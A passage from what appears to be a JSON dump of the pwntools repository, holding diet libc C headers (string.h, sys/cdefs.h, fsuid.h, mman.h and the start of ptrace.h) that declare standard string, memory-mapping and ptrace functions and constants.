    "content": "#ifndef _STRING_H\n#define _STRING_H\n\n#include <sys/cdefs.h>\n#include <sys/types.h>\n\n__BEGIN_DECLS\n\n__readmem__(2) __writemem__(1)\nchar *strcpy(char* __restrict__ dest, const char* __restrict__ src) __THROW __nonnull((1,2));\n\n__readmemsz__(2,4) __writememsz__(1,4)\nvoid *memccpy(void* __restrict__ dest, const void* __restrict__ src, int c, size_t n) __THROW __nonnull((1,2));\n__readmemsz__(2,3) __writememsz__(1,3)\nvoid *memmove(void* dest, const void *src, size_t n) __THROW __nonnull((1,2));\n\n__readmemsz__(1,3) __readmemsz__(2,3)\nint memccmp(const void* s1, const void* s2, int c, size_t n) __THROW __pure __nonnull((1,2));\n\n__writememsz__(1,3)\nvoid* memset(void* s, int c, size_t n) __THROW __nonnull((1));\n__readmemsz__(1,3) __readmemsz__(2,3)\nint memcmp(const void* s1, const void* s2, size_t n) __THROW __pure __nonnull((1,2));\n__writememsz__(1,3) __readmemsz__(2,3)\nvoid* memcpy(void* __restrict__ dest, const void* __restrict__ src, size_t n) __THROW __nonnull((1,2));\n\n__writememsz__(1,3) __readmem__(2)\nchar *strncpy(char* __restrict__ dest, const char* __restrict__ src, size_t n) __THROW __nonnull((1,2));\n__readmemsz__(1,3) __readmemsz__(2,3)\nint strncmp(const char* s1, const char* s2, size_t n) __THROW __pure __nonnull((1,2));\n\n__writemem__(1) __readmem__(2)\nchar *strcat(char* __restrict__ dest, const char* __restrict__ src) __THROW __nonnull((1,2));\n__writememsz__(1,3) __readmem__(2)\nchar *strncat(char* __restrict__ dest, const char* __restrict__ src, size_t n) __THROW __nonnull((1,2));\n\n__readmem__(1) __readmem__(2)\nint strcmp(const char *s1, const char *s2) __THROW __pure __nonnull((1,2));\n\n__readmem__(1)\nsize_t strlen(const char *s) __THROW __pure __nonnull((1));\n__readmemsz__(1,2)\nsize_t strnlen(const char *s,size_t maxlen) __THROW __pure __nonnull((1));\n\n#ifdef _GNU_SOURCE\n__readmem__(1) __readmem__(2)\nint strverscmp(const char* s1,const char* s2) __THROW __pure __nonnull((1,2));\n#endif\n\n__readmem__(1) __readmem__(2)\nchar *strstr(const char *haystack, const char *needle) __THROW __pure __nonnull((1,2));\n\n__readmem__(1)\nchar *strdup(const char *s) __THROW __attribute_malloc__ __nonnull((1));\n\n__readmem__(1)\nchar *strchr(const char *s, int c) __THROW __pure __nonnull((1));\n__readmem__(1)\nchar *strrchr(const char *s, int c) __THROW __pure __nonnull((1));\n\n__readmem__(1) __readmem__(2)\nsize_t strspn(const char *s, const char *_accept) __THROW __nonnull((1,2));\n__readmem__(1) __readmem__(2)\nsize_t strcspn(const char *s, const char *reject) __THROW __nonnull((1,2));\n\n__readmem__(1) __readmem__(2)\nchar *strpbrk(const char *s, const char *_accept) __THROW __nonnull((1,2));\n__readmem__(1) __readmem__(2)\nchar *strsep(char ** __restrict__ stringp, const char * __restrict__ delim) __THROW __nonnull((1,2));\n\n__readmemsz__(1,3)\nvoid* memchr(const void *s, int c, size_t n) __THROW __pure __nonnull((1));\n#ifdef _GNU_SOURCE\n__readmemsz__(1,3)\nvoid* memrchr(const void *s, int c, size_t n) __THROW __pure __nonnull((1));\n#endif\n\n/* I would like to make this const, but Paul Jarc points out it has to\n * be char* :-( */\nchar *strerror(int errnum) __THROW __attribute_const__;\n/* work around b0rken GNU crapware like tar 1.13.19 */\n#define strerror strerror\n__writememsz__(2,3)\nint strerror_r(int errnum,char* buf,size_t n) __THROW __attribute_dontuse__;\n\n#ifdef _GNU_SOURCE\nchar *strsignal(int signum) __THROW __attribute_const__;\n__readmemsz__(1,2) __readmemsz__(3,4)\nvoid *memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen) __THROW __nonnull((1,3));\n\n__writememsz__(1,3) __readmemsz__(2,3)\nvoid* mempcpy(void* __restrict__ dest,const void* __restrict__ src,size_t n) __THROW __nonnull((1,2));\n\n__readmemsz__(1,2)\nchar *strndup(const char *s,size_t n) __THROW __attribute_malloc__ __nonnull((1));\n\n#define strdupa(s) ({ const char* tmp=s; size_t l=strlen(tmp)+1; char* x=alloca(l); memcpy(x,tmp,l); })\n#define strndupa(s,n) ({ const char* tmp=s; const char* y=memchr(tmp,0,(n)); size_t l=y?y-tmp:n; char* x=alloca(l+1); x[l]=0; memcpy(x,tmp,l); })\n#endif\n\n__readwritemem__(1)\nchar *strtok(char * __restrict__ s, const char * __restrict__ delim) __THROW __nonnull((2));\n__readwritemem__(1)\nchar *strtok_r(char * __restrict__ s, const char * __restrict__ delim, char ** __restrict__ ptrptr) __THROW __nonnull((2,3));\n\n__writememsz__(1,3) __readmemsz__(2,3)\nsize_t strlcpy(char * __restrict__ dst, const char * __restrict__ src, size_t size) __THROW __nonnull((1,2));\n__writememsz__(1,3) __readmem__(2)\nsize_t strlcat(char * __restrict__ dst, const char * __restrict__ src, size_t size) __THROW __nonnull((1,2));\n\n__readmem__(1) __readmem__(2)\nint strcoll(const char *s1, const char *s2) __THROW __nonnull((1,2));\n__writememsz__(1,3) __readmemsz__(2,3)\nsize_t strxfrm(char *dest, const char * __restrict__ src, size_t n) __THROW __nonnull((1,2));\n\n#ifdef _BSD_SOURCE\n#include <strings.h>\n#endif\n\n__writemem__(1) __readmem__(2)\nchar* stpcpy(char * __restrict__ dest, const char * __restrict__ src) __THROW __nonnull((1,2));\n__writememsz__(1,3) __readmemsz__(2,3)\nchar* stpncpy(char* __restrict__ dest, const char* __restrict__ src, size_t n) __THROW __nonnull((1,2));\n\n#ifdef _GNU_SOURCE\nint ffsl(long i) __THROW __attribute_const__;\nint ffsll(long long i) __THROW __attribute_const__;\n#endif\n\n/* This is an OpenBSD extension that acts like bzero but is hopefully\n * not removed from by the compiler's dead store optimization pass.\n * It is meant for scrubbing crypto keys and passwords from memory after\n * use, so they don't show up in swap files or core dumps. */\n__writememsz__(1,2)\nvoid   explicit_bzero(void*, size_t) __THROW __dontinline__;\n\n/* More OpenBSD extensions. These are for comparing passwords and hashes\n * without leaking timing information on how long the common prefix was.\n * The comparison always compares all the bytes, even if there is a\n * mismatch early on. */\n__readmemsz__(1,3) __readmemsz__(2,3)\nint timingsafe_memcmp(const void* s1, const void* s2, size_t n) __THROW __nonnull((1,2)) __dontinline__;\n__readmemsz__(1,3) __readmemsz__(2,3)\nint timingsafe_bcmp(const void* s1, const void* s2, size_t n) __THROW __nonnull((1,2)) __dontinline__;\n\n/* NetBSD has its own extension that is happened to be mentioned in the\n * Linux man page for memcmp, so we support it, too */\n__readmemsz__(1,3) __readmemsz__(2,3)\nint consttime_memequal(void *b1, void *b2, size_t len) __THROW __nonnull((1,2)) __dontinline__;\n\n/* NetBSD also has its own extension for memset :-( */\n__writememsz__(1,3)\nvoid* explicit_memset(void *b, int c, size_t len) __THROW __nonnull((1)) __dontinline__;\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sys/cdefs.h",
    "content": "#ifndef _SYS_CDEFS_H\n#define _SYS_CDEFS_H\n\n#ifndef __has_attribute\n#define __has_attribute(foo) 0\n#endif\n\n#ifndef __cplusplus\n#define __THROW\n#define __BEGIN_DECLS\n#define __END_DECLS\n#else\n#define __THROW throw ()\n#define __BEGIN_DECLS extern \"C\" {\n#define __END_DECLS }\n#endif\n\n#ifndef __GNUC__\n#define __attribute__(xyz)\n#define __extension__\n#endif\n\n#if (__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6))\n#define __leaf , __leaf__\n#else\n#define __leaf\n#endif\n\n#if defined(__clang__) && __has_attribute(leaf)\n#undef __leaf\n#define __leaf\n#endif\n\n#if !defined(__cplusplus) && ((__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)))\n#undef __THROW\n#define __THROW __attribute__((__nothrow__ __leaf))\n#define __THROWNL __attribute__((__nothrow__))\n#endif\n\n#ifndef __THROWNL\n#define __THROWNL __THROW\n#endif\n\n#if (__GNUC__ > 2) || ((__GNUC__ == 2) && (__GNUC_MINOR__ >= 96))\n#define __pure __attribute__ ((__pure__))\n#else\n#define __pure\n#endif\n\n#if (__GNUC__ == 2) && (__GNUC_MINOR__ < 95)\n#define __restrict__\n#endif\n\n#ifndef __STRICT_ANSI__\n#define restrict __restrict__\n#if __GNUC__ < 3\n#define __builtin_expect(foo,bar) (foo)\n#define __expect(foo,bar) (foo)\n#define __malloc__\n#else\n#define __expect(foo,bar) __builtin_expect((long)(foo),bar)\n#define __attribute_malloc__ __attribute__((__malloc__))\n#endif\n#endif\n\n/* idea for these macros taken from Linux kernel */\n#define __likely(foo) __expect((foo),1)\n#define __unlikely(foo) __expect((foo),0)\n\n#ifndef __attribute_malloc__\n#define __attribute_malloc__\n#endif\n\n#define __P(x) x\n\n#define __ptr_t void*\n\n#if defined(__STRICT_ANSI__) && __STDC_VERSION__ + 0 < 199900L\n#define inline\n#endif\n\n#ifndef __i386__\n#define __regparm__(x)\n#endif\n\n#if (__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 2))\n#define __attribute_dontuse__ __attribute__((__deprecated__))\n#else\n#define __attribute_dontuse__\n#define __deprecated__\n#endif\n\n#if (__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3))\n# define __nonnull(params) __attribute__ ((__nonnull__ params))\n#else\n# define __nonnull(params)\n#endif\n\n#if (__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 4))\n# define __attribute_used __attribute__ ((__used__))\n#else\n# define __attribute_used\n# define __warn_unused_result__\n#endif\n\n#if (__GNUC__ >= 4)\n#define __needsNULL__(x) __sentinel__(x)\n#else\n#define __needsNULL__(x)\n#define __sentinel__\n#endif\n\n#if (__GNUC__ < 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ < 3))\n# define __cold__\n# define __hot__\n#endif\n\n#if (__GNUC__ < 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ < 3))\n#define __attribute_alloc__(x)\n#define __attribute_alloc2__(x,y)\n#else\n#define __attribute_alloc__(x) __attribute__((alloc_size(x)))\n#define __attribute_alloc2__(x,y) __attribute__((alloc_size(x,y)))\n#endif\n\n#if (__GNUC__ < 2) || ((__GNUC__ == 2) && (__GNUC_MINOR__ < 5))\n#define __attribute_const__\n#else\n#define __attribute_const__ __attribute__((const))\n#endif\n\n#if (__GNUC__ < 2) || ((__GNUC__ == 2) && (__GNUC_MINOR__ < 8))\n#define __attribute_formatarg__(x)\n#else\n#define __attribute_formatarg__(x) __attribute__((format_arg(x)))\n#endif\n\n#if (__GNUC__ < 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ < 1))\n#define __dontinline__\n#else\n#define __dontinline__ __attribute__((noinline))\n#endif\n\n#if (__GNUC__ < 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ < 6))\n#define __hidden__\n#else\n#define __hidden__ __attribute__((visibility(\"hidden\")))\n#endif\n\n#if (__GNUC__ < 10)\n#define __readmem__(argno_ptr)\n#define __readmemsz__(argno_ptr, argno_size)\n#define __writemem__(argno_ptr)\n#define __writememsz__(argno_ptr, argno_size)\n#define __readwritemem__(argno_ptr)\n#define __readwritememsz__(argno_ptr, argno_size)\n#else\n#define __readmem__(argno_ptr) __attribute__((access(read_only, argno_ptr)))\n#define __readmemsz__(argno_ptr, argno_size) __attribute__((access(read_only, argno_ptr, argno_size)))\n#define __writemem__(argno_ptr) __attribute__((access(write_only, argno_ptr)))\n#define __writememsz__(argno_ptr, argno_size) __attribute__((access(write_only, argno_ptr, argno_size)))\n#define __readwritemem__(argno_ptr) __attribute__((access(read_write, argno_ptr)))\n#define __readwritememsz__(argno_ptr, argno_size) __attribute__((access(read_write, argno_ptr, argno_size)))\n#endif\n\n#if (__GNUC__ < 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ < 3))\n#define __warn(message)\n#define __error(message)\n#else\n#define __warn(message) __attribute__((warning(message)))\n#define __error(message) __attribute__((error(message)))\n#endif\n\n#if __has_attribute(diagnose_if)\n#define __condwarn(condition, message) diagnose_if(condition, message, \"warning\")\n#define __conderr(condition, message) diagnose_if(condition, message, \"error\")\n#else\n#define __condwarn(condition, message)\n#define __conderr(condition, message)\n#endif\n\n#if __has_attribute(enable_if)\n#endif\n\n#if __has_attribute(callback)\n#define __callback(...) callback(__VA_ARGS__)\n#else\n#define __callback(...)\n#endif\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sys/fsuid.h",
    "content": "#ifndef __FSUID_H\n#define __FSUID_H 1\n\n#include <sys/types.h>\n\n__BEGIN_DECLS\n\n/* Linux only: */\nint setfsuid(uid_t uid);\nint setfsgid(gid_t gid);\nint setfsuid32(uid32_t fsuid) __THROW;\nint setfsgid32(gid32_t fsgid) __THROW;\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sys/mman.h",
    "content": "#ifndef _SYS_MMAN_H\n#define _SYS_MMAN_H\n\n#include <sys/cdefs.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n\n__BEGIN_DECLS\n\n#define MREMAP_MAYMOVE\t1UL\n#define MREMAP_FIXED\t2UL\n\n#define PROT_READ\t0x1\t\t/* page can be read */\n#define PROT_WRITE\t0x2\t\t/* page can be written */\n#define PROT_EXEC\t0x4\t\t/* page can be executed */\n#define PROT_SEM\t0x8\t\t/* page may be used for atomic ops */\n#define PROT_NONE\t0x0\t\t/* page can not be accessed */\n\n#define PROT_GROWSDOWN\t0x01000000\t/* mprotect flag: extend change to start of growsdown vma */\n#define PROT_GROWSUP\t0x02000000\t/* mprotect flag: extend change to end of growsdown vma */\n\n#define MAP_SHARED\t0x01\t\t/* Share changes */\n#define MAP_PRIVATE\t0x02\t\t/* Changes are private */\n#define MAP_TYPE\t0xf\t\t/* Mask for type of mapping */\n\n#define MADV_REMOVE\t\t9\n#define MADV_DONTFORK\t\t10\n#define MADV_DOFORK\t\t11\n#define MADV_MERGEABLE\t\t12\n#define MADV_UNMERGEABLE\t13\n#define MADV_HUGEPAGE\t\t14\n#define MADV_NOHUGEPAGE\t\t15\n#define MADV_DONTDUMP\t\t16\n#define MADV_DODUMP\t\t17\n#define MADV_HWPOISON\t\t100\n#define MADV_SOFT_OFFLINE\t101\n\n#define MLOCK_ONFAULT\t1\t/* for mlock2 */\n\n#if defined(__mips__)\n#define MAP_FIXED\t0x010\t\t/* Interpret addr exactly */\n#define MAP_NORESERVE\t0x0400\t\t/* don't check for reservations */\n#define MAP_ANONYMOUS\t0x0800\t\t/* don't use a file */\n#define MAP_GROWSDOWN\t0x1000\t\t/* stack-like segment */\n#define MAP_DENYWRITE\t0x2000\t\t/* ETXTBSY */\n#define MAP_EXECUTABLE\t0x4000\t\t/* mark it as an executable */\n#define MAP_LOCKED\t0x8000\t\t/* pages are locked */\n#define MAP_POPULATE\t0x10000\n#define MAP_NONBLOCK\t0x20000\n#define MAP_STACK\t0x40000\n#define MAP_HUGETLB\t0x80000\n#define MS_ASYNC\t0x0001\t\t/* sync memory asynchronously */\n#define MS_INVALIDATE\t0x0002\t\t/* invalidate mappings & caches */\n#define MS_SYNC\t\t0x0004\t\t/* synchronous memory sync */\n#define MCL_CURRENT\t1\t\t/* lock all current mappings */\n#define MCL_FUTURE\t2\t\t/* lock all future mappings */\n#define MCL_ONFAULT\t4\t\t/* lock all pages that are faulted in */\n#define MADV_NORMAL\t0x0\t\t/* default page-in behavior */\n#define MADV_RANDOM\t0x1\t\t/* page-in minimum required */\n#define MADV_SEQUENTIAL\t0x2\t\t/* read-ahead aggressively */\n#define MADV_WILLNEED\t0x3\t\t/* pre-fault pages */\n#define MADV_DONTNEED\t0x4\t\t/* discard these pages */\n#elif defined(__alpha__)\n#define MAP_FIXED\t0x100\t\t/* Interpret addr exactly */\n#define MAP_ANONYMOUS\t0x10\t\t/* don't use a file */\n#define MAP_GROWSDOWN\t0x1000\t\t/* stack-like segment */\n#define MAP_DENYWRITE\t0x2000\t\t/* ETXTBSY */\n#define MAP_EXECUTABLE\t0x4000\t\t/* mark it as an executable */\n#define MAP_LOCKED\t0x8000\t\t/* lock the mapping */\n#define MAP_NORESERVE\t0x10000\t\t/* don't check for reservations */\n#define MAP_POPULATE\t0x20000\n#define MAP_NONBLOCK\t0x40000\n#define MAP_STACK\t0x80000\n#define MAP_HUGETLB\t0x100000\n#define MS_ASYNC\t1\t\t/* sync memory asynchronously */\n#define MS_SYNC\t\t2\t\t/* synchronous memory sync */\n#define MS_INVALIDATE\t4\t\t/* invalidate the caches */\n#define MCL_CURRENT\t 8192\t\t/* lock all currently mapped pages */\n#define MCL_FUTURE\t16384\t\t/* lock all additions to address space */\n#define MCL_ONFAULT\t32768\t\t/* lock all pages that are faulted in */\n#define MADV_NORMAL\t0\t\t/* no further special treatment */\n#define MADV_RANDOM\t1\t\t/* expect random page references */\n#define MADV_SEQUENTIAL\t2\t\t/* expect sequential page references */\n#define MADV_WILLNEED\t3\t\t/* will need these pages */\n#define MADV_SPACEAVAIL\t5\t\t/* ensure resources are available */\n#define MADV_DONTNEED\t6\t\t/* dont need these pages */\n\n#elif defined(__i386__) || defined(__s390__) || defined(__x86_64__) || defined(__arm__)\n#define MAP_FIXED\t0x10\t\t/* Interpret addr exactly */\n#define MAP_ANONYMOUS\t0x20\t\t/* don't use a file */\n#define MAP_GROWSDOWN\t0x0100\t\t/* stack-like segment */\n#define MAP_DENYWRITE\t0x0800\t\t/* ETXTBSY */\n#define MAP_EXECUTABLE\t0x1000\t\t/* mark it as an executable */\n#define MAP_LOCKED\t0x2000\t\t/* pages are locked */\n#define MAP_NORESERVE\t0x4000\t\t/* don't check for reservations */\n#define MAP_POPULATE\t0x8000\n#define MAP_NONBLOCK\t0x10000\n#define MAP_STACK\t0x20000\n#define MAP_HUGETLB\t0x40000\n#define MS_ASYNC\t1\t\t/* sync memory asynchronously */\n#define MS_INVALIDATE\t2\t\t/* invalidate the caches */\n#define MS_SYNC\t\t4\t\t/* synchronous memory sync */\n#define MCL_CURRENT\t1\t\t/* lock all current mappings */\n#define MCL_FUTURE\t2\t\t/* lock all future mappings */\n#define MCL_ONFAULT\t4\t\t/* lock all pages that are faulted in */\n#define MADV_NORMAL\t0x0\t\t/* default page-in behavior */\n#define MADV_RANDOM\t0x1\t\t/* page-in minimum required */\n#define MADV_SEQUENTIAL\t0x2\t\t/* read-ahead aggressively */\n#define MADV_WILLNEED\t0x3\t\t/* pre-fault pages */\n#define MADV_DONTNEED\t0x4\t\t/* discard these pages */\n\n#elif defined(__sparc__) || defined (__powerpc__) || defined (__powerpc64__)\n#define MAP_FIXED\t0x10\t\t/* Interpret addr exactly */\n#define MAP_ANONYMOUS\t0x20\t\t/* don't use a file */\n#define MAP_RENAME\tMAP_ANONYMOUS\t/* In SunOS terminology */\n#define MAP_NORESERVE\t0x40\t\t/* don't reserve swap pages */\n#define MAP_INHERIT\t0x80\t\t/* SunOS doesn't do this, but... */\n#define MAP_LOCKED\t0x100\t\t/* lock the mapping */\n#define _MAP_NEW\t0x80000000\t/* Binary compatibility is fun... */\n#define MAP_GROWSDOWN\t0x0100\t\t/* stack-like segment */\n#define MAP_DENYWRITE\t0x0800\t\t/* ETXTBSY */\n#define MAP_EXECUTABLE\t0x1000\t\t/* mark it as an executable */\n#define MAP_POPULATE\t0x8000\n#define MAP_NONBLOCK\t0x10000\n#define MAP_STACK\t0x20000\n#define MAP_HUGETLB\t0x40000\n#define MS_ASYNC\t1\t\t/* sync memory asynchronously */\n#define MS_INVALIDATE\t2\t\t/* invalidate the caches */\n#define MS_SYNC\t\t4\t\t/* synchronous memory sync */\n#define MCL_CURRENT\t0x2000\t\t/* lock all currently mapped pages */\n#define MCL_FUTURE\t0x4000\t\t/* lock all additions to address space */\n#define MCL_ONFAULT\t0x8000\t\t/* lock all pages that are fauled in */\n#define MADV_NORMAL\t0x0\t\t/* default page-in behavior */\n#define MADV_RANDOM\t0x1\t\t/* page-in minimum required */\n#define MADV_SEQUENTIAL\t0x2\t\t/* read-ahead aggressively */\n#define MADV_WILLNEED\t0x3\t\t/* pre-fault pages */\n#define MADV_DONTNEED\t0x4\t\t/* discard these pages */\n#define MADV_FREE\t0x5\t\t/* (Solaris) contents can be freed */\n\n#elif defined(__aarch64__)\n#define MAP_FIXED\t0x10\t\t/* Interpret addr exactly */\n#define MAP_ANONYMOUS\t0x20\t\t/* don't use a file */\n#define MAP_GROWSDOWN\t0x00100\t\t/* Stack-like segment.  */\n#define MAP_DENYWRITE\t0x00800\t\t/* ETXTBSY */\n#define MAP_EXECUTABLE\t0x01000\t\t/* Mark it as an executable.  */\n#define MAP_LOCKED\t0x02000\t\t/* Lock the mapping.  */\n#define MAP_NORESERVE\t0x04000\t\t/* Don't check for reservations.  */\n#define MAP_POPULATE\t0x08000\t\t/* Populate (prefault) pagetables.  */\n#define MAP_NONBLOCK\t0x10000\t\t/* Do not block on IO.  */\n#define MAP_STACK\t0x20000\t\t/* Allocation is for a stack.  */\n#define MAP_HUGETLB\t0x40000\t\t/* Create huge page mapping.  */\n#define MS_ASYNC\t1\t\t/* sync memory asynchronously */\n#define MS_INVALIDATE\t2\t\t/* invalidate the caches */\n#define MS_SYNC\t\t4\t\t/* synchronous memory sync */\n#define MCL_CURRENT\t1\t\t/* lock all currently mapped pages */\n#define MCL_FUTURE\t2\t\t/* lock all additions to address space */\n#define MCL_ONFAULT\t4\t\t/* lock all pages that are faulted in */\n#define MADV_NORMAL\t 0\t/* No further special treatment.  */\n#define MADV_RANDOM\t 1\t/* Expect random page references.  */\n#define MADV_SEQUENTIAL\t 2\t/* Expect sequential page references.  */\n#define MADV_WILLNEED\t 3\t/* Will need these pages.  */\n#define MADV_DONTNEED\t 4\t/* Don't need these pages.  */\n#define MADV_REMOVE\t 9\t/* Remove these pages and resources.  */\n#define MADV_DONTFORK\t 10\t/* Do not inherit across fork.  */\n#define MADV_DOFORK\t 11\t/* Do inherit across fork.  */\n#define MADV_MERGEABLE\t 12\t/* KSM may merge identical pages.  */\n#define MADV_UNMERGEABLE 13\t/* KSM may not merge identical pages.  */\n#define MADV_HUGEPAGE\t 14\t/* Worth backing with hugepages.  */\n#define MADV_NOHUGEPAGE\t 15\t/* Not worth backing with hugepages.  */\n#define MADV_DONTDUMP\t 16\t/* Explicity exclude from the core dump,\n\t\t\t\t   overrides the coredump filter bits.  */\n#define MADV_DODUMP\t 17\t/* Clear the MADV_DONTDUMP flag.  */\n#define MADV_HWPOISON\t 100\t/* Poison a page for testing.  */\n\n#elif defined(__hppa__)\n#undef MAP_TYPE\n#define MAP_TYPE\t0x03\t/* Mask for type of mapping */\n#define MAP_FIXED\t0x04\t/* Interpret addr exactly */\n#define MAP_ANONYMOUS\t0x10\t/* don't use a file */\n\n#define MAP_DENYWRITE\t0x0800\t/* ETXTBSY */\n#define MAP_EXECUTABLE\t0x1000\t/* mark it as an executable */\n#define MAP_LOCKED\t0x2000\t/* pages are locked */\n#define MAP_NORESERVE\t0x4000\t/* don't check for reservations */\n#define MAP_GROWSDOWN\t0x8000\t/* stack-like segment */\n#define MAP_POPULATE\t0x10000\n#define MAP_NONBLOCK\t0x20000\n#define MAP_STACK\t0x40000\n#define MAP_HUGETLB\t0x80000\n\n#define MS_SYNC \t1\t/* synchronous memory sync */\n#define MS_ASYNC\t2\t/* sync memory asynchronously */\n#define MS_INVALIDATE\t4\t/* invalidate the caches */\n\n#define MCL_CURRENT\t1\t/* lock all current mappings */\n#define MCL_FUTURE\t2\n#define MCL_ONFAULT\t4\t\t/* lock all pages that are faulted in */\n\n#define MADV_NORMAL\t0\t/* no further special treatment */\n#define MADV_RANDOM\t1\t/* expect random page references */\n#define MADV_SEQUENTIAL 2\t/* expect sequential page references */\n#define MADV_WILLNEED\t3\t/* will need these pages */\n#define MADV_DONTNEED\t4\t/* don't need these pages */\n#define MADV_SPACEAVAIL 5\t/* insure that resources are reserved */\n#define MADV_VPS_PURGE\t6\t/* Purge pages from VM page cache */\n#define MADV_VPS_INHERIT 7\t/* Inherit parents page size */\n#define MADV_4K_PAGES\t12\t/* Use 4K pages\t */\n#define MADV_16K_PAGES\t14\t/* Use 16K pages */\n#define MADV_64K_PAGES\t16\t/* Use 64K pages */\n#define MADV_256K_PAGES 18\t/* Use 256K pages */\n#define MADV_1M_PAGES\t20\t/* Use 1 Megabyte pages */\n#define MADV_4M_PAGES\t22\t/* Use 4 Megabyte pages */\n#define MADV_16M_PAGES\t24\t/* Use 16 Megabyte pages */\n#define MADV_64M_PAGES\t26\t/* Use 64 Megabyte pages */\n\n#undef MADV_MERGEABLE\n#undef MADV_UNMERGEABLE\n#undef MADV_HUGEPAGE\n#undef MADV_NOHUGEPAGE\n#undef MADV_DONTDUMP\n#undef MADV_DODUMP\n\n#define MADV_MERGEABLE 65\n#define MADV_UNMERGEABLE 66\n#define MADV_HUGEPAGE 67\n#define MADV_NOHUGEPAGE 68\n#define MADV_DONTDUMP 69\n#define MADV_DODUMP 70\n\n#elif defined(__ia64__)\n\n#define MAP_FIXED\t0x10\t/* Interpret addr exactly */\n#define MAP_ANONYMOUS\t0x20\t/* don't use a file */\n\n#define MAP_GROWSDOWN\t0x0100\t/* stack-like segment */\n#define MAP_GROWSUP\t0x0200\t/* register stack-like segment */\n#define MAP_DENYWRITE\t0x0800\t/* ETXTBSY */\n#define MAP_EXECUTABLE\t0x1000\t/* mark it as an executable */\n#define MAP_LOCKED\t0x2000\t/* pages are locked */\n#define MAP_NORESERVE\t0x4000\t/* don't check for reservations */\n#define MAP_POPULATE\t0x8000\n#define MAP_NONBLOCK\t0x10000\n#define MAP_STACK\t0x20000\n#define MAP_HUGETLB\t0x40000\n\n#define MS_ASYNC\t1\t/* sync memory asynchronously */\n#define MS_INVALIDATE\t2\t/* invalidate the caches */\n#define MS_SYNC \t4\t/* synchronous memory sync */\n\n#define MADV_NORMAL     0x0\t/* default page-in behavior */\n#define MADV_RANDOM     0x1\t/* page-in minimum required */\n#define MADV_SEQUENTIAL 0x2\t/* read-ahead aggressively */\n#define MADV_WILLNEED   0x3\t/* pre-fault pages */\n#define MADV_DONTNEED   0x4\t/* discard these pages */\n#endif\n\n/* compatibility flags */\n#define MAP_ANON\tMAP_ANONYMOUS\n#define MAP_FILE\t0\n\n#define MAP_FAILED      ((void *) -1)\n\n__attribute__((__warn_unused_result__))\nextern void *mmap (void *__addr, size_t __len, int __prot,\n                   int __flags, int __fd, off_t __offset);\n\nextern int munmap (void *__addr, size_t __len) __THROW;\nextern int mprotect (void *__addr, size_t __len, int __prot) __THROW;\nextern int msync (void *__addr, size_t __len, int __flags) __THROW;\n\n__attribute__((__warn_unused_result__))\nextern void *mremap (void *__addr, size_t __old_len, size_t __new_len,\n\t\t     unsigned long __may_move) __THROW;\nextern int mincore (void *__start, size_t __len, unsigned char *__vec);\n\n__attribute__((__warn_unused_result__))\nextern void *mmap64 (void *__addr, size_t __len, int __prot,\n\t\t     int __flags, int __fd, off64_t __offset) __THROW;\n\n#ifndef __NO_STAT64\n#if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64\n#define mmap(a,b,c,d,e,f) mmap64(a,b,c,d,e,f)\n#endif\n#endif\n\n__attribute__((__warn_unused_result__))\nint mlockall(int flags) __THROW;\n\n__attribute__((__warn_unused_result__))\nint mlock(const void *addr, size_t len) __THROW;\nint munlock(const void *addr, size_t len) __THROW;\nint munlockall(void) __THROW;\n\n__attribute__((__warn_unused_result__))\nint mlock2(const void *addr, size_t len, int flags) __THROW;\n\nint madvise(void *start, size_t length, int advice) __THROW;\n\n#define POSIX_MADV_NORMAL MADV_NORMAL\n#define POSIX_MADV_SEQUENTIAL MADV_SEQUENTIAL\n#define POSIX_MADV_RANDOM MADV_RANDOM\n#define POSIX_MADV_WILLNEED MADV_WILLNEED\n#define POSIX_MADV_DONTNEED MADV_DONTNEED\n\n#define posix_madvise(addr,len,advice) madvise(addr,len,advice)\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sys/ptrace.h",
    "content": "#ifndef _SYS_PTRACE_H\n#define _SYS_PTRACE_H\n\n#include <sys/cdefs.h>\n#include <inttypes.h>\n\n__BEGIN_DECLS\n\n#define PTRACE_TRACEME\t\t   0\n#define PTRACE_PEEKTEXT\t\t   1\n#define PTRACE_PEEKDATA\t\t   2\n#define PTRACE_PEEKUSR\t\t   3\n#define PTRACE_PEEKUSER\t\t   PTRACE_PEEKUSR\n#define PTRACE_POKETEXT\t\t   4\n#define PTRACE_POKEDATA\t\t   5\n#define PTRACE_POKEUSR\t\t   6\n#define PTRACE_POKEUSER\t\t   PTRACE_POKEUSR\n#define PTRACE_CONT\t\t   7\n#define PTRACE_KILL\t\t   8\n#define PTRACE_SINGLESTEP\t   9\n\n#define PTRACE_ATTACH\t\t0x10\n#define PTRACE_DETACH\t\t0x11\n\n#define PTRACE_SYSCALL\t\t  24\n\n/* 0x4200-0x4300 are reserved for architecture-independent additions.  */\n/* #define PTRACE_SETOPTIONS\t0x4200 */\n#define PTRACE_GETEVENTMSG\t0x4201\n#define PTRACE_GETSIGINFO\t0x4202\n#define PTRACE_SETSIGINFO\t0x4203\n\n/* options set using PTRACE_SETOPTIONS */\n#define PTRACE_O_TRACESYSGOOD\t0x00000001\n#define PTRACE_O_TRACEFORK\t0x00000002\n#define PTRACE_O_TRACEVFORK\t0x00000004\n#define PTRACE_O_TRACECLONE\t0x00000008\n#define PTRACE_O_TRACEEXEC\t0x00000010\n#define PTRACE_O_TRACEVFORKDONE\t0x00000020\n#define PTRACE_O_TRACEEXIT\t0x00000040\n\n#define 